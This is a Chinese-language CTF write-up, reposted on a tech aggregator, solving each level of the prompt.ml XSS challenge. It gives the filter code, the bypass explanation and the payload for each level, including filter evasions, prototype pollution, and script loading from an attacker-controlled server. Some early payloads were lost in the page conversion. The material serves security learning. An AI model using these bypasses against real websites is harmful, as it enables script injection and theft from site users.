网址

https://prompt.ml/

level 0 (闭合)

function escape(input) {// warm up// script should be executed without user interactionreturn '';
}

闭合前面的双引号

">

level 1 ( <…>绕过 )

function escape(input) {// tags stripping mechanism from ExtJS library// Ext.util.Format.stripTagsvar stripTagsRE = /<\/?[^>]+>/gi;input = input.replace(stripTagsRE, '');return '' + input + '';
}

过滤了<>，会把<…>变为空，所以不能有 >，而

....

会把之间的变为普通文字，所以要把后面的注释掉。

 
level 2 ( =，(绕过 ) 
function escape(input) {//                      v-- frowny faceinput = input.replace(/[=(]/g, '');// ok seriously, disallows equal signs and open parenthesisreturn input;
}   
 
过滤了=、（，用编码绕过。 
 
这里的 svg 标签不能去，因为 script 内部文本遵循不转义的规则，而 svg 在 HTML 中属于外来元素，意味着规则不由 HTML 定义，而是由 svg 自己定义。也就是说 HTML 在使用前会先将 xml 实体解析再加入标签。 
还有一种利用 js 的 eval 函数，绝了，这里的 `` 是模板字符串，也就是里面可以用变量和表达式，eval会自动解码执行。 

 
或者 

 
level 3 ( -> 替换为 _ ) 
function escape(input) {// filter potential comment end delimitersinput = input.replace(/->/g, '_');// comment the input to avoid script executionreturn '';
}    
 
用 --!> 闭合注释 
--!>
 
这边学到一个姿势： 
--!>
 
level 4 同源的正则过滤 
( /^(?:https?:)?\/\/prompt\.ml\//i.test(decodeURIComponent(input)) ) 
function escape(input) {// make sure the script belongs to own site// sample script: http://prompt.ml/js/test.jsif (/^(?:https?:)?\/\/prompt\.ml\//i.test(decodeURIComponent(input))) {var script = document.createElement('script');script.src = input;return script.outerHTML;} else {return 'Invalid resource.';}
}        
 
浏览器支持这样的url：http://user:password@attacker.com。但是 http://user:password/@attacker.com 是不允许的，但是由于 decodeURIComponent 函数的原因，http://user:password%2f@attacker.com 用 %2f 就可以绕过了，这边要再自己的服务器上构造 。 
//prompt.ml%2f@vps/1.js
 
level 5 ( replace(/>|on.+?=|focus/gi, ‘_’) ) 
function escape(input) {// apply strict filter rules of level 0// filter ">" and event handlersinput = input.replace(/>|on.+?=|focus/gi, '_');return '';
}        
 
限定了 input 标签的类型，，换行重写类型，这是因为后面的 type 不能覆盖前面的 type。 
" type="image" src=1 onerror
="prompt(1)
 
level 6 表单提交action过滤 
function escape(input) {// let's do a post redirectiontry {// pass in formURL#formDataJSON// e.g. http://httpbin.org/post#{"name":"Matt"}var segments = input.split('#');var formURL = segments[0];var formData = JSON.parse(segments[1]);var form = document.createElement('form');form.action = formURL;form.method = 'post';for (var i in formData) {var input = form.appendChild(document.createElement('input'));input.name = i;input.setAttribute('value', formData[i]);}return form.outerHTML + '                         \n\
                                                 \n\';} catch (e) {return 'Invalid form data.';}
}        
 
从上面的源码中可以看出，是构造一个类似 http://httpbin.org/post#{"name":"Matt"} 这种格式的，# 前面的是 formURL ，也就是 form 表单 action 属性的值，后面的 post 数据构造 input 标签。在传的时候可以看到，对第一个 action 属性值做了过滤，我们可以令 action 的子标签，也就是 input 下的属性名设置成 action，这样就可以绕过了，原理就是会优先指向 name 为 action 的子标签。
  
level 7 利用 script 标签的注释绕过长度限制 
题目告诉我们是以 # 划分，且每个标题长度不超过 12。 
function escape(input) {// pass in something like dog#cat#bird#mouse...var segments = input.split('#');return segments.map(function(title) {// title can only contain 12 charactersreturn '';}).join('\n');
}        
 
payload ： 
">
 
从下图生成的标签格式可以看出（红括号内是注释掉的），最后只剩  

 还有一种跟巧妙的方法，我们可以通过引号之间的闭合来绕，用 onload 执行 js 语句 
">
 



 
 
level 8 特殊字符换行，–>注释 
过滤了 \r \n < "，可以 unicode 字符绕过，且 --> 在 js 中也可以当做注释使用 
function escape(input) {// prevent input from getting out of comment// strip off line-breaks and stuffinput = input.replace(/[\r\n                                    \n\// console.log("' + input + '");        \n\
 ';
}        
 

 payload 在 console 处运行一下
  
level 9 unicode 编码加远程加载 js 绕过 
会把 < 后面的字母变为 <_，还会对代码全部转大写，前者可以用 unicode 绕过，标签大小写没事，但是里面的 js 代码是大小写敏感的，可以用远程 js 加载。 
function escape(input) {// filter potential start-tagsinput = input.replace(/<([a-zA-Z])/g, '<_$1');// use all-caps for headinginput = input.toUpperCase();// sample input: you shall not pass! => YOU SHALL NOT PASS!return '' + input + '';
}        
 
payload:
  
<ſcript/ſrc="xxx/1.js">
 
level A 
题目会先对输入进行 url 编码，这样我们就无法利用 unicode 绕过，但是它后面又做了一个替换把 ' 替换为 空，也就是说如果我们在 prompt 中间插上 ' ，那么经过第二个替换就会变成 prompt。 
function escape(input) {// (╯°□°）╯︵ ┻━┻input = encodeURIComponent(input).replace(/prompt/g, 'alert');// ┬──┬ ノ( ゜-゜ノ) chill out broinput = input.replace(/'/g, '');// (╯°□°）╯︵ /(.□. \）DONT FLIP ME BROreturn ' ';
}        
 
payload: 
pro'mpt(1)
 
level B 利用运算符绕过 
过滤了很多特殊的字符。 
function escape(input) {// name should not contain special charactersvar memberName = input.replace(/[[|\s+*/\\<>&^:;=~!%-]/g, '');// data to be parsed as JSONvar dataString = '{"action":"login","message":"Welcome back, ' + memberName + '."}';// directly "parse" data in script contextreturn '                                \n\
 ';
}        
 
如果没有禁冒号的话，我们使可以闭合来绕过的，但是这边禁用了，这边说一下大佬的思路。 
如下所示，是可以成功弹窗的，双引号里可以是任何字符，这里的 in 或者 instanceof 是运算符，且 1(prompt(1)) 也是可以成功弹窗的，尽管这两个方法都会报错。 
(prompt(1))instanceof"1"和 (prompt(1))in"1"
 
level C 字符串转数字 
和 level A 不一样的是，这一题是先过滤了单引号，再过滤 prompt 的。 
function escape(input) {// in Soviet Russia...input = encodeURIComponent(input).replace(/'/g, '');// table flips you!input = input.replace(/prompt/g, 'alert');// ノ┬─┬ノ ︵ ( \o°o)\return ' ';
}        
 
在 php 中我们可以利用数学函数把数字转为字母执行 shell，这题的原理差不多。
 
 
 由上面两张图可以看出此方法是可行的，大佬的各种骚操作 真是令我大开眼界啊。 
payload: 
eval((630038579).toString(30))(1)利用 concat 连接，String.fromCharCode
eval((1172936279).toString(34).concat(String.fromCharCode(40)).concat(1).concat(String.fromCharCode(41)))
 
level D 原型链和特殊替换 
extend 接收的是一个对象，且里面有一个这样的语句 obj[prop] = source[prop]; 这不就是很典型的原型链污染嘛，后面判断 source 有没有其他字符，有则删除 source 属性，又过滤了双引号，判断格式是否正确。 
function escape(input) {// extend method from Underscore library// _.extend(destination, *sources) function extend(obj) {var source, prop;for (var i = 1, length = arguments.length; i < length; i++) {source = arguments[i];for (prop in source) {obj[prop] = source[prop];}}return obj;}// a simple picture plugintry {// pass in something like {"source":"http://sandbox.prompt.ml/PROMPT.JPG"}var data = JSON.parse(input);var config = extend({// default image sourcesource: 'http://placehold.it/350x150'}, JSON.parse(input));// forbit invalid image sourceif (/[^\w:\/.]/.test(config.source)) {delete config.source;}// purify the source by stripping off "var source = config.source.replace(/"/g, '');// insert the content using mustache-ish templatereturn '{source}}">'.replace('{{source}}', source);} catch (e) {return 'Invalid image data.';}
}
 
从下图可以看出当我们把 a 属性删掉的时候，它会通过__proto__向上找 a 属性，如过上面都没有则会返回空。
 
 
 思路有了，那么还有个问题怎么绕过闭合？它过滤了双引号，我们无法用双引号来绕过了。这边大佬给了一个特殊的替换方式。
 
 通过例子来看一下： 
//$$:输出一个$
'123456789'.replace('34',"$$xss");
'12$xss56789'//$&:插入到匹配到的字符串后面（不会删掉匹配到的字符）
'123456789'.replace('34',"$&xss");
'1234xss56789'//$`:复制匹配到的字符串前面的那部分，并把字符串插入（会删掉匹配到的字符）
'123456789'.replace('34',"$`xss");
'1212xss56789'//$':复制匹配到的字符串的后面的那部分，并把字符串插入（会删掉匹配到的字符）
'123456789'.replace('34',"$'xss");
'1256789xss56789'
 
更具上面的那个，如果我们利用 
 $` 
 
那么不就可以复制 {{source}} 之前的字符串，也就是  ，双引号不就来了么。
 payload:
 
{"source":"'","__proto__":{"source":"$`οnerrοr=prompt(1)>"}}
 
 
level E iframe 的 src 编码 
做了一下几个处理： 
1.全部转大写
 2. 把 xxx: 替换为 data:
 3. 把 &+\空格 vps 替换为 _
 那么应该就是利用 data 来绕过，也可以看成 data 伪协议，就是不需要额外请求，直接在网页中嵌入文件。 
格式如下： 
data:[][;charset=][;base64],
 
function escape(input) {// I expect this one will have other solutions, so be creative :)// mspaint makes all file names in all-caps :(// too lazy to convert them back in lower case// sample input: prompt.jpg => PROMPT.JPGinput = input.toUpperCase();// only allows images loaded from own host or data URI schemeinput = input.replace(/\/\/|\w+:/g, 'data:');// miscellaneous filteringinput = input.replace(/[\\&+%\s]|vbs/gi, '_');return '';
}        
 
payload: 
">
</code></pre> 
<h1>level F <!-- -->注释符&#xff0c;模板字符串</h1> 
<p>过滤了 <code>*</code></p> 
<pre><code class="prism language-javascript">function escape(input) {<!-- -->// sort of spoiler of level 7input &#61; input.replace(/\*/g, &#39;&#39;);// pass in something like dog#cat#bird#mouse...var segments &#61; input.split(&#39;#&#39;);return segments.map(function(title, index) {<!-- -->// title can only contain 15 charactersreturn &#39;<p class&#61;"comment" title&#61;"&#39; &#43; title.slice(0, 15) &#43; &#39;" data-comment&#61;\&#39;{"id":&#39; &#43; index &#43; &#39;}\&#39;></p>&#39;;}).join(&#39;\n&#39;);
}    
</code></pre> 
<p>可以在 <code>svg</code> 标签中使用 <code>html</code> 注释 。<br /> payload:</p> 
<pre><code>"><svg><!--#--><script><!--#-->prompt(1<!--)#-->)</script>
</code></pre> 
<pre><code><p class&#61;"comment" title&#61;""><svg><!--" data-comment&#61;&#39;{"id":0}&#39;></p>
<p class&#61;"comment" title&#61;"--><script><!--" data-comment&#61;&#39;{"id":1}&#39;></p>
<p class&#61;"comment" title&#61;"-->prompt(1<!--" data-comment&#61;&#39;{"id":2}&#39;></p>
<p class&#61;"comment" title&#61;"-->)</script>" data-comment&#61;&#39;{"id":3}&#39;></p>
</code></pre> 
<p>或者利用模板字符串&#xff1a;</p> 
<p><strong>模板字符串&#xff1a;</strong><br /> 反引号 &#96; 代替引号 ’ 或 "&#xff0c;提供了字符串插入的功能。<br /> ${x} 是模板占位符&#xff0c;js 把 x 生成的值插入到最后的字符串里面。<br /> <img src="https://img.pic99.top/hhfamen/202404/3d6d1334dbe32d1.png" alt="在这里插入图片描述" /></p> 
<pre><code>"><script>&#96;#${prompt(1)}#&#96;</script>
</code></pre> 
<h1>level -1 函数提升</h1> 
<p>过滤了 <code>}<</code> &#xff0c;那么怎么闭合呢&#xff1f;<br /> 记得在 <code>level D</code> 里就提到过几种特殊的替换方法&#xff0c;那么如果我们用 <code>$&</code> 替换不就可以了吗&#xff0c;因为 <code>$&</code> 是不会删掉匹配到的字符串的&#xff0c;且 <code>{<!-- -->{injection}}</code> 中不是有个 <code>}</code> &#xff0c;这不就闭合了吗。</p> 
<pre><code class="prism language-javascript">function escape(input) {<!-- -->// WORLD -1// strip off certain characters from breaking conditional statementinput &#61; input.replace(/[}<]/g, &#39;&#39;);return &#39;                                                     \n\
<script>                                                         \n\if (history.length > 1337) {                                 \n\// you can inject any code here                          \n\// as long as it will be executed                        \n\{<!-- -->{injection}}                                            \n\}                                                            \n\
</script>                                                        \n\&#39;.replace(&#39;{<!-- -->{injection}}&#39;, input);
}        
</code></pre> 
<p><strong>那么怎么绕过 if 呢&#xff1f;</strong></p> 
<blockquote> <p>history.lenth 返回的是浏览历史列表中的网址数量。</p> 
</blockquote> 
<p>首先我们要知道&#xff0c;不管我们怎么替换&#xff0c;我们替换的值是肯定在 <code>if</code> 表达式里面的&#xff0c;也就是我们要在它判断前就要做一些操作。</p> 
<p>这边官方是根据一个叫函数提升的知识点来绕过的。</p> 
<p><strong>什么是函数提升&#xff1f;</strong><br /> 简单点解释就是&#xff1a;正常情况下 <code>JS</code> 引擎会在正式执行之前先进行一次预编译&#xff0c;在这个过程中&#xff0c;会首先将变量声明及函数声明提升至当前作用域的顶端。</p> 
<p>那么也就是说即使我们在 <code>if</code> 里面定义一个函数&#xff0c;这个函数不会像其他语言&#xff0c;一定要通过 <code>if</code> 判断才能初始化&#xff0c;<code>js</code> 会在编译阶段就初始化&#xff0c;那么也就绕过了 <code>if</code>。</p> 
<p><strong>测试&#xff1a;</strong><br /> <img src="https://img.pic99.top/hhfamen/202404/e9fe984d1e93678.png" alt="在这里插入图片描述" /><br /> <img src="https://img.pic99.top/hhfamen/202404/6bc491441c83feb.png" alt="在这里插入图片描述" /><br /> 也就是说我们要构造&#xff1a;</p> 
<pre><code>function history(l,o,r,e,m, 1138个)$&prompt(1)
</code></pre> 
<p><strong>payload:</strong></p> 
<pre><code>function history(L,o,r,e,m,I,p,s,u,m,i,s,s,i,m,p,l,y,d,u,m,m,y,t,e,x,t,o,f,t,h,e,p,r,i,n,t,i,n,g,a,n,d,t,y,p,e,s,e,t,t,i,n,g,i,n,d,u,s,t,r,y,L,o,r,e,m,I,p,s,u,m,h,a,s,b,e,e,n,t,h,e,i,n,d,u,s,t,r,y,s,s,t,a,n,d,a,r,d,d,u,m,m,y,t,e,x,t,e,v,e,r,s,i,n,c,e,t,h,e,s,w,h,e,n,a,n,u,n,k,n,o,w,n,p,r,i,n,t,e,r,t,o,o,k,a,g,a,l,l,e,y,o,f,t,y,p,e,a,n,d,s,c,r,a,m,b,l,e,d,i,t,t,o,m,a,k,e,a,t,y,p,e,s,p,e,c,i,m,e,n,b,o,o,k,I,t,h,a,s,s,u,r,v,i,v,e,d,n,o,t,o,n,l,y,f,i,v,e,c,e,n,t,u,r,i,e,s,b,u,t,a,l,s,o,t,h,e,l,e,a,p,i,n,t,o,e,l,e,c,t,r,o,n,i,c,t,y,p,e,s,e,t,t,i,n,g,r,e,m,a,i,n,i,n,g,e,s,s,e,n,t,i,a,l,l,y,u,n,c,h,a,n,g,e,d,I,t,w,a,s,p,o,p,u,l,a,r,i,s,e,d,i,n,t,h,e,s,w,i,t,h,t,h,e,r,e,l,e,a,s,e,o,f,L,e,t,r,a,s,e,t,s,h,e,e,t,s,c,o,n,t,a,i,n,i,n,g,L,o,r,e,m,I,p,s,u,m,p,a,s,s,a,g,e,s,a,n,d,m,o,r,e,r,e,c,e,n,t,l,y,w,i,t,h,d,e,s,k,t,o,p,p,u,b,l,i,s,h,i,n,g,s,o,f,t,w,a,r,e,l,i,k,e,A,l,d,u,s,P,a,g,e,M,a,k,e,r,i,n,c,l,u,d,i,n,g,v,e,r,s,i,o,n,s,o,f,L,o,r,e,m,I,p,s,u,m,I,t,i,s,a,l,o,n,g,e,s,t,a,b,l,i,s,h,e,d,f,a,c,t,t,h,a,t,a,r,e,a,d,e,r,w,i,l,l,b,e,d,i,s,t,r,a,c,t,e,d,b,y,t,h,e,r,e,a,d,a,b,l,e,c,o,n,t,e,n,t,o,f,a,p,a,g,e,w,h,e,n,l,o,o,k,i,n,g,a,t,i,t,s,l,a,y,o,u,t,T,h,e,p,o,i,n,t,o,f,u,s,i,n,g,L,o,r,e,m,I,p,s,u,m,i,s,t,h,a,t,i,t,h,a,s,a,m,o,r,e,o,r,l,e,s,s,n,o,r,m,a,l,d,i,s,t,r,i,b,u,t,i,o,n,o,f,l,e,t,t,e,r,s,a,s,o,p,p,o,s,e,d,t,o,u,s,i,n,g,C,o,n,t,e,n,t,h,e,r,e,c,o,n,t,e,n,t,h,e,r,e,m,a,k,i,n,g,i,t,l,o,o,k,l,i,k,e,r,e,a,d,a,b,l,e,E,n,g,l,i,s,h,M,a,n,y,d,e,s,k,t,o,p,p,u,b,l,i,s,h,i,n,g,p,a,c,k,a,g,e,s,a,n,d,w,e,b,p,a,g,e,e,d,i,t,o,r,s,n,o,w,u,s,e,L,o,r,e,m,I,p,s,u,m,a,s,t,h,e,i,r,d,e,f,a,u,l,t,m,o,d,e,l,t,e,x,t,a,n,d,a,s,e,a,r,c,h,f,o,r,l,o,r,e,m,i,p,s,u,m,w,i,l,l,u,n,c,o,v,e,r,m,a,n,y,w,e,b,s,i,t,e,s,s,t,i,l,l,i,n,t,h,e,i,r,i,n,f,a,n,c,y,V,a,r,i,o,u,s,v,e,r,s,i,o,n,s,h,a,v,e,e,v,o,l,v,e,d,o,v,e,r,t,h,e,y,e,a,r,s,s,o,m,e,t,i,m,e,s,b,y,a,c,c,i,d,e,n,t,s,o,m,e,t,i,m,e,s,o,n,p,u,r,p,o,s,e,i,n,j,e,c,t,e,d,h,u,m,o,u,r,a,n,d,t,h,e,l,i,k,e,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_)$&prompt(1)
</code></pre> 
<h1>level -2 条件编译</h1> 
<p>用 &#64;cc_on 语句、&#64;if 或 &#64;set 语句来激活条件编译。</p> 
<p>条件编译解释处</p> 
<pre><code class="prism language-javascript">function escape(input) {<!-- -->// Christmas special edition!// Ho ho ho these characters are in Santa&#39;s naughty listinput &#61; input.replace(/[!&#61;*&#96;]/g, &#39;&#39;);// pass in your wishes like pets#toys#half-life3...var segments &#61; input.split(&#39;#&#39;);return segments.map(function(title, index) {<!-- -->// Don&#39;t be greedy! Each present can only contain 20 charactersreturn &#39;<p class&#61;"present" title&#61;"&#39; &#43; title.slice(0, 20) &#43; &#39;"></p>&#39;;}).join(&#39;\n&#39;);
}     
</code></pre> 
<p>具体原理应该就是 <code>if</code> 判断不成功也就不往下执行&#xff0c;也就和注释功能相当了&#xff0c;和普通的 <code>if</code> 相比没有 <code>{}</code> 包围&#xff0c;但是我这边没有打成功&#xff0c;可能是这个 <code>js</code> 语法现在浏览器不支持识别。<strong>如果有人知道原理或者原因的话希望能告知>_<&#xff01;&#xff01;</strong></p> 
<p><strong>payload:</strong></p> 
<pre><code>"><script>&#64;if(0)#&#64;end;prompt(1)&#64;if(0)#&#64;end</script>
</code></pre> 
<h1>level -3 SOME(反向点击劫持)</h1> 
<p><s>对现在的我来说有点那啥了&#xff0c;吃不消</s></p> 
<pre><code class="prism language-javascript">function escape(input) {<!-- -->// I iz fabulous cat// cat hatez dem charzvar query &#61; input.replace(/[&#>]/g, &#39;&#39;);var script &#61; document.createElement(&#39;script&#39;);// find me on Twttrscript.src &#61; &#39;https://cdn.syndication.twitter.com/widgets/tweetbutton/count.json?url&#61;&#39; &#43; query &#43; &#39;&callback&#61;swag&#39;;return &#39;<input name&#61;"query" type&#61;"hidden" value&#61;"&#39; &#43; query &#43; &#39;">&#39; &#43;script.outerHTML;
}        
</code></pre> 
<p>payload:</p> 
<pre><code>"onclick&#61;prompt(1) id&#61;"a";callback&#61;a.click;
</code></pre> 
<h1>level -4 Chrome解析错误</h1> 
<p><s>说实话解释我都没看懂</s></p> 
<pre><code class="prism language-javascript">function escape(input) {<!-- -->// You know the rules and so do Iinput &#61; input.replace(/"/g, &#39;&#39;);return &#39;<body οnlοad&#61;"think.out.of.the.box(&#39; &#43; input &#43; &#39;)">&#39;;
}        
</code></pre> 
<p>payload:</p> 
<pre><code>)},{0:prompt(1
</code></pre> 
<p>新版本的 <code>Chrome</code> 已修复。</p> 
<h1>总结</h1> 
<p>xss 博大精深啊&#xff0c;各种姿势层出不穷&#xff0c;<s>我好捞啊&#xff01;</s></p> 
<h1>参考</h1> 
<pre><code>https://github.com/cure53/XSSChallengeWiki/wiki/prompt.ml#level-15
https://blog.csdn.net/qq_35078631/article/details/77073233?ops_request_misc&#61;%257B%2522request%255Fid%2522%253A%2522166502490216782428642807%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id&#61;166502490216782428642807&biz_id&#61;0&utm_medium&#61;distribute.pc_search_result.none-task-blog-2~all~sobaiduend~default-3-77073233-null-null.142^v51^pc_rank_34_2,201^v3^control&utm_term&#61;prompt%281%29%20to%20win&spm&#61;1018.2226.3001.4187
</code></pre><link href="https://csdnimg.cn/release/blogv2/dist/mdeditor/css/editerView/markdown_views-22a2fefd3b.css" rel="stylesheet"><link href="https://csdnimg.cn/release/blogv2/dist/mdeditor/css/style-4f8fbf9108.css" rel="stylesheet">                <!--end::Text-->
            </div>
            <!--end::Description-->
            <div class="mt-5">
                <!--关键词搜索-->
                
                <a href="/index.php?s=news&c=search&keyword=%E8%AF%8D%E5%BA%93%E5%8A%A0%E8%BD%BD%E9%94%99%E8%AF%AF%3A%E6%9C%AA%E8%83%BD%E6%89%BE%E5%88%B0%E6%96%87%E4%BB%B6%E2%80%9CE%3A%5Chighferrum_mysql%5CConfiguration%5CDict_Stopwords.txt%E2%80%9D%E3%80%82" class="badge badge-light-primary fw-bold my-2" target="_blank">词库加载错误:未能找到文件“E:\highferrum_mysql\Configuration\Dict_Stopwords.txt”。</a>
                            </div>
            <div class="mt-5">
                <p class="fc-show-prev-next">
                    <strong>上一篇：</strong><a href="/keji/21060.html">单片机只会调库和复制别人的代码是什么水平？</a><br>
                </p>
                <p class="fc-show-prev-next">
                    <strong>下一篇：</strong><a href="/keji/21088.html">20行Python代码，轻轻松松获取各路书本，你还在花钱买着看嘛~</a>                </p>
            </div>
            <!--begin::Block-->
            <div class="d-flex flex-stack mb-2 mt-10">
                <!--begin::Title-->
                <h3 class="text-dark fs-5 fw-bold text-gray-800">相关内容</h3>
                <!--end::Title-->
            </div>
            <div class="separator separator-dashed mb-9"></div>
            <!--end::Block-->
            <div class="row g-10">
                
            </div>


        </div>
        <!--end::Table widget 14-->
    </div>
    <!--end::Col-->

    <!--begin::Col-->
    <div class="col-xl-4 mt-0">
        <!--begin::Chart Widget 35-->
        <div class="card card-flush h-md-100">
            <!--begin::Header-->
            <div class="card-header pt-5 ">
                <!--begin::Title-->
                <h3 class="card-title align-items-start flex-column">
                    <!--begin::Statistics-->
                    <div class="d-flex align-items-center mb-2">
                        <!--begin::Currency-->
                        <span class="fs-5 fw-bold text-gray-800 ">热门资讯</span>
                        <!--end::Currency-->
                    </div>
                    <!--end::Statistics-->
                </h3>
                <!--end::Title-->
            </div>
            <!--end::Header-->
            <!--begin::Body-->
            <div class="card-body pt-3">

                                <!--begin::Item-->
                <div class="d-flex flex-stack mb-7">
                    <!--begin::Symbol-->
                    <div class="symbol symbol-60px symbol-2by3 me-4">
                        <div class="symbol-label" style="background-image: url('https://img.pic99.top/hhfamen/202406/78b0249c98149a3.jpeg')"></div>
                    </div>
                    <!--end::Symbol-->
                    <!--begin::Title-->
                    <div class="m-0">
                        <a href="/keji/33665.html" class="text-dark fw-bold text-hover-primary fs-6">监控摄像头接入GB28181平...</a>
                        <span class="text-gray-600 fw-semibold d-block pt-1 fs-7">流程简介将监控摄像头的视频在网站和APP中直播&#xff0c;要解决的几个问题是&#xff1a;1&...</span>
                    </div>
                    <!--end::Title-->
                </div>
                                <!--begin::Item-->
                <div class="d-flex flex-stack mb-7">
                    <!--begin::Symbol-->
                    <div class="symbol symbol-60px symbol-2by3 me-4">
                        <div class="symbol-label" style="background-image: url('https://img.pic99.top/hhfamen/202402/b7fd57091ce17d7.png')"></div>
                    </div>
                    <!--end::Symbol-->
                    <!--begin::Title-->
                    <div class="m-0">
                        <a href="/keji/952.html" class="text-dark fw-bold text-hover-primary fs-6">Windows10添加群晖磁盘...</a>
                        <span class="text-gray-600 fw-semibold d-block pt-1 fs-7">在使用群晖NAS时&#xff0c;我们需要通过本地映射的方式把NAS映射成本地的一块磁盘使用。 通过...</span>
                    </div>
                    <!--end::Title-->
                </div>
                                <!--begin::Item-->
                <div class="d-flex flex-stack mb-7">
                    <!--begin::Symbol-->
                    <div class="symbol symbol-60px symbol-2by3 me-4">
                        <div class="symbol-label" style="background-image: url('https://img.pic99.top/hhfamen/202406/793e3f6ce04ed0b.png')"></div>
                    </div>
                    <!--end::Symbol-->
                    <!--begin::Title-->
                    <div class="m-0">
                        <a href="/keji/33802.html" class="text-dark fw-bold text-hover-primary fs-6">protocol buffer...</a>
                        <span class="text-gray-600 fw-semibold d-block pt-1 fs-7">目录   目录 什么是protocol buffer 1.protobuf 1.1安装  1.2使用...</span>
                    </div>
                    <!--end::Title-->
                </div>
                                <!--begin::Item-->
                <div class="d-flex flex-stack mb-7">
                    <!--begin::Symbol-->
                    <div class="symbol symbol-60px symbol-2by3 me-4">
                        <div class="symbol-label" style="background-image: url('https://img.pic99.top/hhfamen/202403/98c3f25f21a67b3.png')"></div>
                    </div>
                    <!--end::Symbol-->
                    <!--begin::Title-->
                    <div class="m-0">
                        <a href="/keji/7709.html" class="text-dark fw-bold text-hover-primary fs-6">在Word、WPS中插入AxM...</a>
                        <span class="text-gray-600 fw-semibold d-block pt-1 fs-7">引言 我最近需要写一些文章&#xff0c;在排版时发现AxMath插入的公式竟然会导致行间距异常&#...</span>
                    </div>
                    <!--end::Title-->
                </div>
                                <!--begin::Item-->
                <div class="d-flex flex-stack mb-7">
                    <!--begin::Symbol-->
                    <div class="symbol symbol-60px symbol-2by3 me-4">
                        <div class="symbol-label" style="background-image: url('https://img.pic99.top/hhfamen/202402/97e50754384152a.png')"></div>
                    </div>
                    <!--end::Symbol-->
                    <!--begin::Title-->
                    <div class="m-0">
                        <a href="/keji/4661.html" class="text-dark fw-bold text-hover-primary fs-6">【PdgCntEditor】解...</a>
                        <span class="text-gray-600 fw-semibold d-block pt-1 fs-7">一、问题背景 大部分的图书对应的PDF&#xff0c;目录中的页码并非PDF中直接索引的页码&#xf...</span>
                    </div>
                    <!--end::Title-->
                </div>
                                <!--begin::Item-->
                <div class="d-flex flex-stack mb-7">
                    <!--begin::Symbol-->
                    <div class="symbol symbol-60px symbol-2by3 me-4">
                        <div class="symbol-label" style="background-image: url('https://img.pic99.top/hhfamen/202406/635b8ed7ba7c4e2.png')"></div>
                    </div>
                    <!--end::Symbol-->
                    <!--begin::Title-->
                    <div class="m-0">
                        <a href="/keji/33708.html" class="text-dark fw-bold text-hover-primary fs-6">Fluent中创建监测点</a>
                        <span class="text-gray-600 fw-semibold d-block pt-1 fs-7">1 概述某些仿真问题&#xff0c;需要创建监测点&#xff0c;用于获取空间定点的数据&#xff0...</span>
                    </div>
                    <!--end::Title-->
                </div>
                                <!--begin::Item-->
                <div class="d-flex flex-stack mb-7">
                    <!--begin::Symbol-->
                    <div class="symbol symbol-60px symbol-2by3 me-4">
                        <div class="symbol-label" style="background-image: url('https://img.pic99.top/hhfamen/202405/9a5663f39d0d86.png')"></div>
                    </div>
                    <!--end::Symbol-->
                    <!--begin::Title-->
                    <div class="m-0">
                        <a href="/keji/26657.html" class="text-dark fw-bold text-hover-primary fs-6">educoder数据结构与算法...</a>
                        <span class="text-gray-600 fw-semibold d-block pt-1 fs-7">                                                  ...</span>
                    </div>
                    <!--end::Title-->
                </div>
                                <!--begin::Item-->
                <div class="d-flex flex-stack mb-7">
                    <!--begin::Symbol-->
                    <div class="symbol symbol-60px symbol-2by3 me-4">
                        <div class="symbol-label" style="background-image: url('https://img.pic99.top/hhfamen/202403/50b5d39a4edb96e.png')"></div>
                    </div>
                    <!--end::Symbol-->
                    <!--begin::Title-->
                    <div class="m-0">
                        <a href="/keji/14338.html" class="text-dark fw-bold text-hover-primary fs-6">MySQL下载和安装（Wind...</a>
                        <span class="text-gray-600 fw-semibold d-block pt-1 fs-7">前言&#xff1a;刚换了一台电脑&#xff0c;里面所有东西都需要重新配置&#xff0c;习惯了所...</span>
                    </div>
                    <!--end::Title-->
                </div>
                                <!--begin::Item-->
                <div class="d-flex flex-stack mb-7">
                    <!--begin::Symbol-->
                    <div class="symbol symbol-60px symbol-2by3 me-4">
                        <div class="symbol-label" style="background-image: url('https://img.pic99.top/hhfamen/202403/9079391fc319.gif')"></div>
                    </div>
                    <!--end::Symbol-->
                    <!--begin::Title-->
                    <div class="m-0">
                        <a href="/keji/9298.html" class="text-dark fw-bold text-hover-primary fs-6">MFC文件操作</a>
                        <span class="text-gray-600 fw-semibold d-block pt-1 fs-7"> MFC提供了一个文件操作的基类CFile&#xff0c;这个类提供了一个没有缓存的二进制格式的磁盘...</span>
                    </div>
                    <!--end::Title-->
                </div>
                                <!--begin::Item-->
                <div class="d-flex flex-stack mb-7">
                    <!--begin::Symbol-->
                    <div class="symbol symbol-60px symbol-2by3 me-4">
                        <div class="symbol-label" style="background-image: url('/static/assets/images/nopic.gif')"></div>
                    </div>
                    <!--end::Symbol-->
                    <!--begin::Title-->
                    <div class="m-0">
                        <a href="/keji/33745.html" class="text-dark fw-bold text-hover-primary fs-6">有效的括号</a>
                        <span class="text-gray-600 fw-semibold d-block pt-1 fs-7">一、题目  给定一个只包括 '('&#xff0c;')'&#xff0c;'{'&#xff0c;'}'...</span>
